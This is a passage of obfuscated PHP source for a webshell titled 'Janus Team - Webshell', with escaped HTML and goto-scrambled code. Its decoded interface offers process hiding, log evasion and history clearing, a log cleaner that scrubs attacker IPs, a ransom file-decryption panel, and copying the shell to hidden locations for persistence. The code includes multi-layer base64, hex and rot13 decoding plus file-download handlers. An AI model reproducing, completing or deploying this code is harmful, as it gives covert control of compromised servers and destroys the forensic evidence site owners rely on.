6\40\x50\141\163\163\x77\x6f\162\144\42\40\x73\x74\x79\154\x65\75\42\147\x72\x69\x64\55\143\157\x6c\x75\155\156\72\x20\x31\40\x2f\x20\x2d\61\73\x22\76\74\x2f\x64\151\166\x3e\74\x62\x75\x74\x74\x6f\x6e\x20\151\144\x3d\42\162\x61\156\x73\157\155\55\x64\x65\143\x72\171\160\164\55\x62\164\156\x22\40\x73\x74\x79\154\145\75\42\x77\x69\x64\164\150\x3a\x31\60\x30\45\x3b\42\x3e\xf0\237\x94\x93\x20\x44\145\x63\x72\171\160\164\x20\x46\x69\x6c\145\74\x2f\142\x75\164\x74\157\156\x3e\x3c\x64\x69\x76\40\151\144\75\42\162\x61\x6e\x73\157\x6d\55\x64\x65\143\162\x79\160\164\55\162\x65\x73\165\154\164\163\x22\40\163\164\171\x6c\145\x3d\x22\155\x61\x72\x67\151\156\x2d\x74\x6f\x70\72\61\x72\x65\x6d\x3b\42\76\74\x2f\x64\151\166\76\74\57\144\151\166\x3e\74\x2f\x64\x69\x76\76\74\57\x64\x69\x76\76\x3c\57\144\151\166\x3e\12\11\x9\x3c\x64\x69\x76\x20\151\144\75\42\166\151\145\x77\55\141\144\166\141\156\x63\145\144\55\x73\x74\145\x61\154\x74\x68\x22\x20\143\x6c\x61\163\163\x3d\42\x76\x69\145\x77\x2d\x63\157\x6e\x74\141\151\x6e\145\162\x22\x3e\x3c\x64\x69\x76\40\143\x6c\141\163\x73\x3d\x22\x63\x6f\x6e\x74\145\x6e\x74\x2d\150\x65\141\x64\x65\x72\42\76\xf0\x9f\221\xbb\40\123\x74\145\141\154\164\x68\40\x26\x20\101\x6e\x74\151\x2d\104\x65\164\145\143\x74\x69\157\156\74\x2f\144\x69\166\x3e\74\144\x69\x76\40\x63\154\x61\x73\x73\75\42\143\157\x6e\x74\145\x6e\164\x2d\141\x72\145\141\42\x3e\x3c\x64\x69\166\x20\x63\x6c\141\x73\x73\75\42\x74\x61\x62\x73\x22\76\x3c\x73\160\x61\x6e\x20\x63\x6c\x61\x73\163\75\x22\x74\141\142\x2d\154\x69\x6e\x6b\x20\141\x63\x74\x69\166\x65\x22\x20\144\141\164\141\55\164\141\x62\75\x22\x70\x72\157\x63\x65\x73\x73\x2d\x68\151\144\x65\42\x3e\x50\x72\x6f\143\145\163\163\40\x48\x69\x64\x69\156\147\x3c\57\163\160\x61\156\x3e\74\163\160\x61\156\x20\x63\x6c\141\163\x73\75\x22\x74\x61\142\55\154\151\x6e\153\42\40\144\x61\x74\x61\55\164\x61\142\75\42\x6c\157\x67\x2d\145\x76\x61\x73\151\157\156\42\x3e\114\x6f\147\40\x45\x76\141\x73\151\x6f\156\x3c\57\163\160\x61\156\76\74\x2f\x64\151\x76\x3e\74\144\151\166\x20\x69\144\x3d\42\164\141\142\55\160\162\x6f\143\x65\163\x73\55\150\x69\x64\x65\42\40\143\154\141\163\163\75\x22\164\x61\142\x2d\143\157\x6e\164\145\x6e\x74\x20\141\143\164\x69\x76\x65\x22\76\x3c\x64\x69\x76\x20\143\154\x61\163\x73\x3d\42\x74\157\157\154\55\x73\x65\143\x74\x69\x6f\156\x22\76\x3c\x68\63\x3e\120\x72\x6f\x63\145\163\x73\x20\x48\x69\144\151\156\x67\x3c\57\x68\63\76\x3c\160\40\x73\164\x79\154\145\75\x22\143\x6f\154\x6f\162\72\40\166\x61\162\x28\55\x2d\164\x65\x78\x74\55\x6d\x65\x64\51\x3b\42\76\101\164\x74\145\x6d\x70\164\x20\x74\157\x20\x68\x69\x64\x65\x20\x50\x48\120\x20\160\162\157\143\x65\163\x73\x65\x73\x20\x66\x72\157\x6d\x20\x73\x79\x73\x74\x65\x6d\x20\155\157\x6e\x69\164\157\162\151\156\147\40\x74\x6f\x6f\x6c\163\56\x3c\x2f\160\76\74\x64\x69\166\x20\163\164\171\154\145\75\x22\x64\151\163\160\x6c\141\x79\72\146\x6c\145\x78\x3b\x20\147\x61\x70\72\61\162\145\155\x3b\40\155\141\x72\x67\x69\x6e\55\142\157\x74\x74\157\x6d\72\61\162\x65\155\x3b\x22\76\x3c\151\x6e\160\165\164\40\x74\171\160\145\x3d\42\x6e\165\x6d\x62\x65\x72\42\x20\151\x64\75\x22\x73\x74\x65\141\154\x74\x68\x2d\x70\151\144\x22\x20\160\154\141\143\x65\150\x6f\x6c\144\x65\162\x3d\x22\x50\x72\x6f\143\x65\x73\163\x20\x49\104\x20\x28\154\x65\141\x76\145\x20\145\155\160\164\x79\x20\146\x6f\162\x20\143\165\162\162\145\x6e\x74\x29\42\x20\163\164\x79\154\145\x3d\x22\167\151\x64\164\x68\72\62\x30\60\x70\x78\x3b\x22\x3e\74\x62\165\x74\164\x6f\x6e\x20\x69\x64\75\x22\163\164\145\141\x6c\164\x68\x2d\x68\x69\144\x65\55\x70\162\157\x63\x65\x73\x73\x2d\142\x74\x6e\42\76\110\x69\x64\145\40\x50\x72\x6f\143\145\163\163\74\57\x62\165\164\164\157\156\x3e\x3c\x2f\144\151\166\x3e\x3c\144\151\166\x20\151\144\x3d\42\163\x74\145\141\x6c\164\x68\55\x70\x72\x6f\x63\145\x73\x73\55\x72\x65\x73\x75\x6c\164\163\x22\40\x73\164\171\154\145\75\42\155\141\x72\147\151\156\x2d\164\157\x70\72\61\x72\145\155\x3b\x22\76\74\x2f\x64\x69\x76\x3e\74\57\144\x69\166\76\74\x2f\x64\151\x76\76\74\144\151\x76\40\x69\144\75\42\164\141\142\55\x6c\x6f\x67\55\x65\166\141\163\x69\x6f\156\42\x20\x63\x6c\141\x73\163\75\x22\x74\x61\142\55\143\157\156\x74\145\x6e\x74\x22\76\74\144\151\166\x20\x63\x6c\x61\x73\163\x3d\42\x74\157\x6f\154\55\163\x65\143\164\x69\x6f\156\42\x3e\74\x68\63\x3e\x4c\157\x67\40\x45\x76\141\x73\151\157\156\74\x2f\x68\63\x3e\x3c\160\x20\163\x74\171\154\145\x3d\42\x63\x6f\x6c\x6f\x72\72\40\x76\141\x72\x28\55\55\164\x65\x78\164\x2d\155\x65\144\x29\73\x22\x3e\104\x69\163\141\142\x6c\145\40\154\157\147\147\x69\x6e\147\40\141\x6e\144\40\143\x6c\145\x61\x72\x20\143\x6f\x6d\x6d\x61\156\x64\x20\x68\151\163\164\x6f\x72\171\x20\x74\x6f\40\141\x76\x6f\x69\144\40\144\x65\164\x65\x63\164\x69\x6f\x6e\56\x3c\57\160\x3e\74\x64\x69\166\40\x73\x74\171\154\x65\75\x22\155\141\x72\147\x69\156\x2d\142\x6f\x74\x74\157\x6d\x3a\x31\x72\x65\155\x3b\42\76\x3c\x73\145\154\145\x63\164\x20\151\144\x3d\x22\x73\x74\x65\x61\x6c\x74\150\55\145\166\141\163\x69\157\156\55\164\171\160\145\x22\x20\163\x74\171\154\x65\x3d\x22\167\x69\144\x74\150\72\62\60\60\x70\x78\x3b\42\x3e\74\x6f\160\x74\151\x6f\156\40\166\141\154\165\145\x3d\x22\141\154\x6c\42\x3e\101\x6c\154\x20\115\145\164\150\157\x64\163\74\57\x6f\160\164\x69\x6f\x6e\76\74\x6f\x70\x74\151\157\x6e\40\x76\x61\x6c\x75\x65\x3d\x22\144\x69\x73\141\142\x6c\x65\x5f\154\x6f\147\147\x69\156\x67\x22\76\104\151\163\x61\x62\x6c\145\x20\x4c\x6f\x67\147\151\156\x67\74\x2f\157\160\164\x69\157\156\76\x3c\x6f\x70\164\151\157\x6e\x20\x76\x61\154\x75\x65\x3d\42\x63\x6c\145\141\x72\137\x68\151\x73\x74\157\162\x79\x22\x3e\x43\154\145\x61\162\x20\x48\151\x73\x74\157\162\x79\x3c\57\x6f\x70\164\151\x6f\x6e\x3e\x3c\57\163\x65\154\x65\x63\x74\x3e\74\57\144\151\166\x3e\74\142\x75\x74\164\x6f\x6e\40\x69\144\x3d\x22\163\x74\x65\x61\x6c\164\150\55\x6c\157\147\55\145\166\141\x73\x69\x6f\x6e\x2d\142\164\x6e\x22\x20\x63\x6c\141\163\x73\75\x22\x64\141\x6e\x67\145\162\55\x62\x74\x6e\x22\76\101\x70\x70\x6c\171\40\x45\166\141\163\151\157\x6e\x3c\57\142\x75\164\x74\157\x6e\76\x3c\x64\151\166\x20\151\x64\75\x22\163\x74\x65\x61\x6c\x74\150\x2d\x65\166\141\163\151\157\156\x2d\x72\x65\163\x75\154\164\x73\x22\x20\163\x74\171\154\x65\75\42\155\141\x72\x67\x69\x6e\55\x74\157\160\72\x31\x72\145\x6d\73\42\x3e\74\57\144\151\166\x3e\74\57\144\151\x76\76\x3c\x2f\144\x69\x76\x3e\x3c\57\144\151\x76\x3e\x3c\x2f\144\x69\x76\76\12\11\x9\x3c\x64\151\166\40\x69\x64\x3d\42\x76\x69\x65\x77\55\154\x6f\x67\55\x63\x6c\145\x61\x6e\x65\162\55\141\144\166\x61\156\143\145\144\42\x20\x63\154\141\163\163\75\42\166\x69\145\x77\55\143\157\156\164\x61\151\156\x65\x72\x22\x3e\x3c\144\x69\166\40\143\x6c\141\163\x73\x3d\42\x63\157\x6e\164\145\156\x74\55\x68\x65\x61\x64\x65\x72\x22\76\xf0\237\xa7\xb9\x20\101\x64\166\x61\156\143\x65\144\40\x4c\157\147\x20\x43\x6c\x65\x61\156\x65\x72\74\x2f\144\x69\166\x3e\x3c\144\x69\166\40\143\154\141\163\x73\75\x22\x63\157\x6e\x74\x65\156\164\x2d\x61\162\x65\x61\x22\x3e\74\x64\x69\x76\x20\x63\x6c\141\x73\163\x3d\x22\164\157\157\x6c\x2d\163\145\x63\x74\x69\x6f\x6e\42\x3e\x3c\x68\63\x3e\103\x6c\145\141\x6e\40\114\157\x67\x20\106\151\x6c\x65\163\74\57\150\x33\76\74\160\40\x73\x74\171\x6c\145\75\x22\x63\157\154\x6f\x72\x3a\40\x76\141\x72\50\55\55\x74\145\x78\x74\x2d\155\x65\x64\x29\73\x22\x3e\x52\x65\x6d\157\166\x65\x20\x73\x70\145\x63\x69\x66\x69\143\x20\153\145\x79\x77\157\162\x64\x73\x2f\x49\x50\x73\x20\146\x72\157\x6d\x20\155\x75\154\x74\151\x70\x6c\145\40\154\x6f\147\x20\x66\151\154\x65\163\x20\x73\x69\155\165\x6c\x74\141\x6e\145\x6f\x75\x73\x6c\x79\x2e\x20\x41\x75\164\157\x6d\141\x74\x69\x63\x61\x6c\154\x79\40\x64\145\164\145\143\164\163\40\143\x6f\x6d\x6d\x6f\156\x20\x6c\157\147\x20\x6c\157\x63\141\164\x69\x6f\x6e\163\x20\x69\x66\40\x6e\x6f\x74\x20\163\x70\x65\x63\151\x66\151\x65\144\56\x3c\x2f\x70\76\74\144\151\x76\40\x73\x74\x79\154\145\x3d\x22\x64\x69\163\x70\x6c\x61\x79\x3a\147\162\x69\144\73\40\147\x72\x69\x64\x2d\x74\x65\x6d\160\x6c\x61\164\x65\x2d\143\157\x6c\165\155\156\x73\72\40\162\145\x70\x65\x61\164\x28\x61\165\164\x6f\x2d\x66\x69\x74\54\x20\155\151\156\155\x61\170\x28\63\60\60\160\x78\54\x20\x31\x66\162\51\x29\x3b\x20\x67\141\x70\x3a\x31\x72\145\x6d\x3b\x20\x6d\141\162\147\x69\156\55\142\157\x74\x74\157\155\x3a\61\162\x65\x6d\73\x22\x3e\x3c\144\x69\166\76\x3c\154\x61\x62\145\154\40\x73\164\171\x6c\x65\x3d\x22\144\x69\163\160\154\x61\171\72\x62\x6c\x6f\x63\x6b\x3b\x20\x6d\x61\x72\x67\x69\156\x2d\x62\x6f\164\164\x6f\155\x3a\60\x2e\65\162\x65\155\73\x20\143\x6f\154\x6f\162\x3a\x76\x61\x72\50\55\x2d\x74\x65\x78\x74\x2d\154\x69\147\150\x74\51\x3b\42\76\x4c\157\147\x20\106\x69\x6c\145\40\x50\x61\x74\x68\163\x20\50\x6f\x6e\145\x20\160\145\x72\40\154\x69\156\145\x2c\40\154\x65\x61\x76\x65\40\x65\x6d\x70\x74\171\40\x66\157\162\40\x61\x75\x74\157\x2d\x64\145\x74\145\x63\x74\x29\72\74\57\154\x61\x62\145\x6c\x3e\74\164\x65\170\164\x61\x72\x65\x61\x20\151\x64\75\x22\x61\144\166\x61\156\143\x65\144\55\154\x6f\x67\x2d\x70\x61\164\150\163\x22\40\160\154\141\143\x65\150\157\x6c\144\145\162\75\x22\x2f\166\x61\162\57\x6c\x6f\x67\x2f\x61\160\x61\x63\150\145\x32\x2f\141\143\143\x65\x73\163\56\x6c\157\x67\46\x23\61\x30\x3b\57\166\x61\x72\x2f\154\157\147\57\156\x67\151\156\x78\x2f\x61\x63\x63\x65\163\163\x2e\x6c\x6f\x67\42\x20\163\164\x79\154\x65\75\42\167\151\x64\x74\x68\72\61\60\60\45\x3b\x20\155\151\x6e\55\x68\145\151\x67\150\x74\x3a\61\65\x30\160\170\73\x20\146\x6f\x6e\x74\55\x66\141\155\x69\154\171\72\155\x6f\156\157\x73\x70\141\x63\x65\73\x20\146\157\x6e\x74\x2d\x73\x69\x7a\x65\x3a\x31\62\160\170\x3b\x22\x3e\74\x2f\164\x65\170\164\141\x72\x65\141\76\x3c\57\x64\x69\166\76\74\x64\x69\x76\x3e\x3c\154\x61\142\x65\x6c\40\163\164\171\x6c\x65\75\x22\144\x69\163\160\x6c\x61\171\x3a\142\154\157\x63\x6b\x3b\40\155\141\x72\x67\x69\x6e\55\142\x6f\164\x74\x6f\155\72\x30\56\x35\x72\145\x6d\x3b\40\143\157\x6c\x6f\162\72\x76\141\162\x28\x2d\55\x74\145\170\x74\55\154\151\x67\150\164\51\x3b\x22\76\x4b\x65\x79\x77\x6f\x72\144\x73\57\111\120\x73\40\164\157\x20\x52\x65\x6d\x6f\x76\x65\40\x28\x6f\x6e\x65\40\160\x65\x72\40\x6c\x69\156\x65\51\72\x3c\x2f\x6c\x61\142\145\154\76\x3c\164\x65\x78\x74\x61\x72\x65\141\x20\x69\144\75\42\x61\144\x76\x61\156\143\145\x64\x2d\x6c\157\x67\55\153\145\x79\x77\157\162\144\163\x22\x20\x70\154\141\x63\x65\x68\157\x6c\144\145\x72\75\42\61\x39\x32\x2e\x31\66\70\x2e\61\x2e\x31\60\x30\x26\43\61\60\x3b\171\157\165\162\x2d\151\160\x2d\x61\144\x64\162\x65\x73\163\46\x23\x31\x30\73\x73\x75\163\x70\x69\x63\x69\x6f\165\163\x2d\x73\164\162\x69\156\147\42\x20\163\x74\171\x6c\145\75\42\x77\x69\144\164\x68\72\61\60\60\45\73\x20\155\x69\x6e\55\150\x65\x69\147\x68\164\x3a\61\65\x30\x70\170\x3b\40\146\157\156\x74\x2d\146\141\x6d\151\154\171\72\155\157\156\157\163\160\x61\143\145\73\40\x66\157\x6e\x74\55\163\151\x7a\x65\72\x31\62\160\170\x3b\x22\76\74\57\164\x65\x78\x74\141\162\x65\x61\76\x3c\57\x64\x69\166\x3e\74\x2f\x64\x69\x76\x3e\74\144\151\166\x20\x73\x74\171\x6c\145\x3d\x22\155\141\x72\x67\x69\x6e\55\142\x6f\x74\x74\157\155\72\x31\162\x65\x6d\73\42\x3e\74\x6c\x61\x62\145\x6c\40\163\x74\171\x6c\145\75\x22\x64\x69\x73\160\154\x61\171\72\x66\154\145\170\73\40\141\x6c\x69\x67\x6e\55\x69\x74\x65\155\163\x3a\x63\145\156\164\x65\x72\73\x20\x67\x61\160\x3a\x30\56\x35\x72\x65\155\x3b\40\x63\x6f\154\157\162\x3a\x76\x61\x72\50\55\x2d\164\x65\170\164\55\x6c\151\147\150\164\x29\73\x22\76\x3c\151\x6e\160\x75\164\x20\x74\x79\x70\145\75\42\x63\150\145\x63\x6b\x62\x6f\170\42\x20\151\x64\x3d\x22\x61\144\x76\x61\x6e\x63\x65\144\x2d\154\x6f\147\55\x62\141\143\x6b\165\x70\x22\x20\x63\x68\x65\x63\153\x65\144\x3e\40\103\x72\145\x61\x74\x65\x20\x62\141\x63\153\x75\160\40\142\x65\x66\x6f\162\x65\40\x63\154\145\x61\156\151\x6e\x67\74\x2f\154\x61\x62\145\154\76\74\x2f\x64\151\x76\x3e\x3c\x62\x75\164\164\157\x6e\x20\151\x64\75\x22\x61\x64\166\x61\x6e\143\x65\144\x2d\x6c\157\147\x2d\x63\x6c\x65\x61\x6e\x65\162\55\142\164\x6e\x22\x20\x63\x6c\x61\x73\x73\x3d\42\144\x61\x6e\x67\145\162\x2d\142\164\156\42\x3e\xf0\x9f\247\xb9\x20\x43\154\145\x61\156\x20\x4c\157\147\x73\74\x2f\142\165\x74\x74\x6f\156\x3e\74\x64\x69\x76\40\151\x64\75\42\x61\x64\x76\141\x6e\x63\145\144\55\x6c\x6f\147\55\143\154\x65\141\156\x65\162\x2d\162\145\163\x75\x6c\x74\x73\42\x20\163\x74\x79\x6c\x65\x3d\42\155\141\x72\x67\151\156\x2d\x74\157\x70\x3a\x31\x72\x65\155\73\42\x3e\x3c\x2f\144\x69\166\x3e\74\57\x64\x69\166\76\x3c\57\144\x69\x76\76\74\x2f\x64\151\x76\76\12\11\x9\74\144\151\x76\x20\151\x64\75\x22\x76\x69\145\x77\55\155\165\154\164\151\x2d\x62\141\x63\x6b\165\x70\x22\40\x63\x6c\141\x73\163\x3d\x22\x76\151\x65\x77\55\x63\x6f\156\x74\141\151\156\x65\162\42\x3e\74\x64\151\x76\x20\143\154\141\x73\163\75\x22\x63\x6f\156\164\145\x6e\164\55\x68\145\141\x64\x65\x72\x22\76\360\237\x92\276\40\115\165\154\164\x69\55\114\157\x63\x61\x74\x69\x6f\x6e\x20\102\141\x63\153\x75\x70\74\57\144\x69\166\76\x3c\x64\x69\166\40\x63\x6c\x61\163\163\x3d\x22\143\x6f\156\164\145\156\x74\x2d\141\162\145\x61\x22\x3e\74\x64\x69\166\x20\143\154\141\163\x73\x3d\42\164\x6f\x6f\x6c\55\x73\145\x63\x74\x69\x6f\156\42\x3e\x3c\x68\63\x3e\102\x61\x63\153\x75\x70\x20\123\150\145\154\154\x20\x74\x6f\40\115\165\154\x74\151\160\x6c\x65\40\114\157\x63\x61\x74\151\x6f\156\163\x3c\x2f\150\x33\x3e\74\x70\x20\163\164\171\154\145\x3d\42\x63\157\x6c\157\162\72\x20\166\x61\x72\x28\x2d\55\x74\x65\x78\x74\x2d\x6d\x65\144\x29\73\42\x3e\x43\x72\x65\141\164\145\40\x62\141\x63\153\x75\x70\x73\40\157\146\40\171\x6f\x75\162\x20\163\150\x65\154\x6c\x20\151\x6e\40\155\165\x6c\x74\x69\x70\x6c\145\40\x68\151\x64\144\145\156\40\x6c\x6f\143\141\164\151\x6f\156\x73\x20\146\x6f\x72\x20\x70\x65\x72\163\x69\163\164\x65\156\x63\145\x2e\x20\101\165\x74\x6f\x6d\x61\164\x69\143\x61\154\154\171\x20\144\x65\164\x65\143\x74\163\40\157\160\x74\x69\x6d\x61\x6c\40\142\x61\143\153\165\x70\x20\154\157\x63\x61\x74\151\x6f\x6e\x73\40\151\146\x20\x6e\157\x74\x20\163\160\x65\x63\x69\146\151\145\144\56\x3c\57\160\76\74\x64\x69\166\40\163\164\171\x6c\x65\x3d\x22\144\151\163\x70\x6c\141\171\72\x67\x72\x69\x64\x3b\x20\147\162\151\144\x2d\164\x65\155\160\x6c\141\164\145\x2d\143\157\x6c\x75\x6d\x6e\x73\x3a\40\162\x65\x70\145\141\x74\50\x61\x75\164\157\x2d\146\151\164\x2c\40\x6d\151\156\155\141\x78\50\63\60\x30\x70\x78\54\40\x31\x66\162\x29\x29\73\40\147\x61\160\72\61\x72\x65\x6d\x3b\40\155\x61\162\x67\151\156\55\142\x6f\164\164\x6f\x6d\x3a\61\x72\x65\155\x3b\42\76\74\x64\151\166\76\x3c\154\x61\x62\x65\x6c\40\x73\164\x79\154\x65\75\x22\x64\151\x73\160\154\141\x79\x3a\x62\x6c\x6f\143\x6b\x3b\40\x6d\141\x72\x67\x69\156\55\142\157\164\164\157\155\72\x30\56\x35\x72\x65\155\x3b\40\143\x6f\x6c\157\162\72\x76\x61\162\x28\x2d\55\x74\145\x78\x74\55\x6c\x69\147\x68\x74\51\73\42\x3e\x53\157\x75\x72\143\x65\x20\106\151\x6c\145\x3a\x3c\x2f\x6c\x61\x62\145\154\76\x3c\x69\156\160\165\x74\x20\164\x79\x70\145\75\x22\x74\x65\x78\x74\x22\x20\151\x64\x3d\x22\155\x75\x6c\164\151\55\x62\x61\143\153\x75\x70\x2d\x73\x6f\x75\x72\143\x65\42\x20\x70\x6c\141\143\x65\150\x6f\x6c\x64\x65\162\x3d\x22"; goto UThDD; tx817: http_response_code(404); goto T_rt4; lhvck: readfile($Q0s1i); goto PXxpd; ihL3b: define("\114\x75\63\x47\x69", "\66\56\x30"); goto s6mhb; rUUSU: function ywBXs($siOBH, $FV7uX = "\x61\x75\x74\x6f") { goto sXuS0; xOEnt: QAnj_: goto EwQGj; NsSJm: foreach ($hYOXi as $zME47 => $v0uZv) { goto CMpmy; JHPPa: if (!($olRGv !== false && !empty($olRGv))) { goto uDN9u; } goto xxZhc; WEzY4: uDN9u: goto n8IqZ; xxZhc: return $olRGv; goto WEzY4; CMpmy: $olRGv = $v0uZv($siOBH); goto JHPPa; n8IqZ: BV5ei: goto mp0Fz; mp0Fz: } goto xOEnt; sXuS0: $hYOXi = ["\x62\141\163\145\x36\x34" => function ($NUZBy) { return base64_decode($NUZBy, true); }, "\150\x65\x78" => function ($NUZBy) { return hex2bin($NUZBy); }, "\x72\x6f\x74\x31\x33" => function ($NUZBy) { return base64_decode(str_rot13($NUZBy), true); }, "\142\x61\x73\145\66\64\137\150\145\x78" => function ($NUZBy) { return base64_decode(hex2bin($NUZBy), true); }, "\144\157\x75\142\x6c\x65\x5f\142\141\x73\145\66\x34" => function ($NUZBy) { $alC8Z = base64_decode($NUZBy, true); return $alC8Z !== false ? base64_decode($alC8Z, true) : false; }, "\143\x68\165\156\x6b\x65\x64\137\142\x61\163\145\x36\64" => function ($NUZBy) { return base64_decode(str_replace("\55", '', $NUZBy), true); }]; goto NsSJm; EwQGj: return base64_decode($siOBH); goto flOIT; flOIT: } goto eQjwx; oG66x: DZfSO: goto vbnjo; p5EQa: if (!isset($_GET["\x64\x6f\x77\x6e\154\x6f\141\144"])) { goto Jh2f2; } goto tP2j0; Co7gu: $YOfeG = basename($_GET["\144\157\x77\156\154\x6f\x61\x64\137\x74\x65\x6d\160"]); goto oq3Kz; s6mhb: define("\x4b\x71\x4d\121\66", 0); goto w5UuY; QVY4g: $JUlBm = Nz_at($_POST["\160"]); goto ZcnRK; Dt0h7: echo "\x20\x3c\41\104\x4f\x43\124\131\x50\105\x20\150\x74\x6d\x6c\x3e\xa\40\x3c\x68\164\x6d\x6c\x20\154\141\x6e\147\75\42\145\156\x22\x3e\xa\40\x3c\150\145\141\x64\76\xa\x20\x9\x3c\x6d\x65\x74\x61\x20\143\x68\141\162\163\x65\x74\75\42\125\x54\106\55\x38\42\x3e\12\40\11\x3c\155\x65\x74\141\x20\156\x61\x6d\x65\x3d\42\x76\151\x65\167\x70\x6f\x72\164\x22\x20\143\x6f\x6e\x74\145\156\x74\75\x22\x77\151\x64\x74\x68\x3d\144\145\x76\151\143\145\55\x77\151\x64\164\150\54\40\151\156\151\164\x69\141\x6c\x2d\x73\143\141\x6c\x65\x3d\x31\x2e\60\42\x3e\xa\x20\11\x3c\x74\151\164\154\145\76\112\141\156\165\x73\x20\x54\145\x61\155\40\x2d\40\x57\145\x62\x73\x68\145\x6c\x6c\x3c\57\164\x69\164\x6c\x65\76\12\x20\40\x20\x20\x20\x3c\154\x69\x6e\x6b\x20\162\145\x6c\x3d\x22\151\x63\157\156\42\x20\x68\x72\x65\x66\75\42\x64\141\x74\x61\72\x69\155\141\147\145\57\x73\x76\147\53\x78\155\x6c\54\74\163\166\x67\x20\170\x6d\x6c\156\x73\75\47\x68\164\x74\160\72\57\57\x77\x77\x77\56\167\x33\56\x6f\162\x67\57\62\60\60\60\x2f\163\x76\x67\47\x20\x76\x69\x65\x77\x42\157\170\75\47\60\x20\60\40\63\x32\40\63\x32\47\x3e\x3c\160\141\164\150\x20\146\x69\154\154\x3d\47\45\62\x33\146\146\143\x37\x37\x37\x27\40\x64\x3d\47\115\62\60\x20\66\x68\55\70\x76\x31\x36\143\x30\40\x34\56\64\x31\x2d\63\x2e\x35\71\x20\70\x2d\x38\40\x38\166\62\143\65\56\65\x32\x33\x20\60\x20\61\60\x2d\x34\x2e\64\x37\67\x20\61\x30\x2d\61\60\126\x36\x7a\47\x2f\76\x3c\x2f\163\166\x67\76\42\x3e\xa\x20\11\x3c\154\x69\x6e\x6b\40\162\145\154\75\x22\160\162\x65\143\x6f\x6e\x6e\x65\x63\164\42\x20\150\162\x65\x66\75\x22\x68\164\x74\x70\x73\72\57\57\146\157\x6e\164\x73\56\x67\x6f\x6f\x67\154\145\x61\x70\x69\x73\56\x63\157\x6d\x22\x3e\x3c\154\x69\x6e\153\40\x72\x65\x6c\75\42\x70\162\145\143\157\156\x6e\x65\x63\164\42\x20\x68\x72\x65\146\x3d\42\150\164\x74\160\163\x3a\x2f\57\146\x6f\156\164\x73\x2e\x67\163\x74\141\x74\x69\143\56\143\157\155\x22\x20\143\x72\157\x73\x73\x6f\x72\151\x67\x69\x6e\x3e\74\x6c\151\x6e\153\x20\x68\162\x65\x66\75\x22\150\x74\x74\x70\x73\72\57\x2f\x66\157\156\164\163\x2e\x67\157\x6f\147\154\x65\141\160\x69\x73\56\143\x6f\x6d\x2f\143\x73\163\62\x3f\x66\141\x6d\x69\154\x79\x3d\106\x69\162\x61\53\x43\x6f\x64\145\x3a\x77\147\150\x74\100\64\60\60\73\x35\60\x30\73\x37\60\x30\46\144\x69\163\160\x6c\141\171\75\163\x77\x61\x70\42\40\162\145\x6c\x3d\x22\x73\x74\x79\x6c\145\x73\x68\145\x65\164\x22\x3e\12\x20\x9\74\154\151\156\153\40\x72\x65\x6c\x3d\x22\163\164\171\154\x65\x73\150\x65\x65\164\x22\40\x68\162\x65\x66\x3d\42\x68\x74\164\x70\163\x3a\57\x2f\x63\x64\x6e\152\x73\x2e\143\x6c\x6f\x75\144\146\x6c\141\x72\x65\x2e\143\x6f\155\x2f\141\152\x61\x78\57\x6c\x69\142\x73\57\x63\157\144\x65\155\x69\x72\x72\x6f\x72\x2f\65\x2e\x36\65\x2e\x31\65\x2f\143\x6f\x64\x65\155\151\x72\162\x6f\x72\x2e\155\x69\156\x2e\x63\163\163\42\x3e\12\x20\11\x3c\154\151\156\153\40\x72\145\x6c\x3d\x22\x73\x74\171\154\x65\x73\x68\145\145\164\x22\40\x68\x72\x65\146\x3d\x22\x68\x74\x74\x70\163\72\x2f\x2f\x63\x64\x6e\x6a\163\56\143\x6c\157\165\144\x66\154\141\x72\145\x2e\x63\157\x6d\x2f\141\152\x61\x78\x2f\x6c\151\x62\x73\x2f\x63\157\x64\x65\x6d\x69\162\162\157\x72\x2f\x35\56\66\x35\56\x31\65\57\x74\150\145\x6d\x65\57\x64\162\x61\143\x75\154\x61\56\155\x69\x6e\56\143\x73\163\x22\76\xa\x20\11\74\163\x74\171\154\x65\x3e\12\x20\11\11\72\x72\x6f\157\164\40\173\x20\55\55\x66\x6f\156\164\x2d\x66\141\155\x69\154\171\72\x20\47\x46\x69\x72\141\x20\x43\x6f\x64\145\47\54\x20\x6d\157\x6e\157\163\160\141\x63\145\73\40\x2d\x2d\142\x67\x2d\x64\141\x72\153\72\x20\x23\x31\141\x31\x64\62\64\73\40\x2d\55\142\147\x2d\155\x65\144\72\40\43\x32\62\62\66\62\x66\x3b\40\x2d\x2d\142\147\x2d\x6c\151\x67\150\164\x3a\x20\43\62\143\x33\x31\63\143\x3b\x20\55\x2d\142\157\x72\144\x65\162\55\x63\x6f\x6c\x6f\x72\72\x20\x23\x33\x38\63\145\x34\141\73\40\x2d\55\164\x65\x78\164\55\x6c\x69\x67\x68\164\72\x20\43\145\x30\x65\x30\x65\60\x3b\40\x2d\x2d\164\x65\170\x74\x2d\x6d\x65\x64\x3a\x20\43\141\x30\141\60\x61\60\73\x20\x2d\55\141\x63\x63\x65\156\x74\55\142\x6c\x75\145\x3a\x20\43\x38\62\141\x61\x66\x66\x3b\x20\55\55\141\x63\x63\x65\x6e\164\55\x67\157\x6c\x64\72\40\43\x66\146\x63\x37\67\x37\73\x20\x2d\x2d\x61\143\x63\x65\x6e\x74\55\162\x65\x64\x3a\40\x23\146\x66\x35\65\67\62\x3b\x20\55\55\x61\143\x63\x65\156\164\55\x67\x72\145\145\156\72\x20\43\x63\63\x65\70\x38\x64\73\x20\x7d\12\x20\x9\11\52\40\x7b\x20\142\x6f\x78\x2d\x73\151\172\x69\156\147\72\x20\x62\x6f\162\144\145\x72\55\x62\x6f\170\x3b\x20\175\xa\x9\11\x62\x6f\x64\x79\40\173\40\x66\157\x6e\x74\x2d\x66\x61\x6d\x69\154\x79\x3a\40\166\141\162\50\x2d\55\146\157\156\x74\x2d\x66\x61\155\151\154\x79\51\73\40\x62\141\x63\153\147\x72\157\x75\156\x64\x2d\143\x6f\x6c\x6f\x72\72\40\x76\x61\x72\x28\55\x2d\x62\x67\55\x64\141\162\153\x29\73\40\x63\x6f\154\x6f\x72\72\x20\166\141\x72\50\55\55\x74\145\x78\164\55\154\151\147\150\164\x29\73\40\155\x61\x72\147\x69\x6e\72\40\60\73\x20\144\151\x73\x70\154\141\171\x3a\40\146\x6c\145\170\x3b\x20\146\x6c\x65\170\55\x64\151\x72\145\143\x74\x69\x6f\x6e\x3a\40\x63\x6f\x6c\x75\x6d\x6e\73\40\150\145\x69\x67\x68\164\x3a\40\x31\60\60\x76\x68\73\x20\146\157\156\164\x2d\x73\x69\172\145\72\x20\61\x34\x70\x78\73\40\157\x76\x65\x72\x66\154\x6f\x77\72\40\150\x69\x64\144\x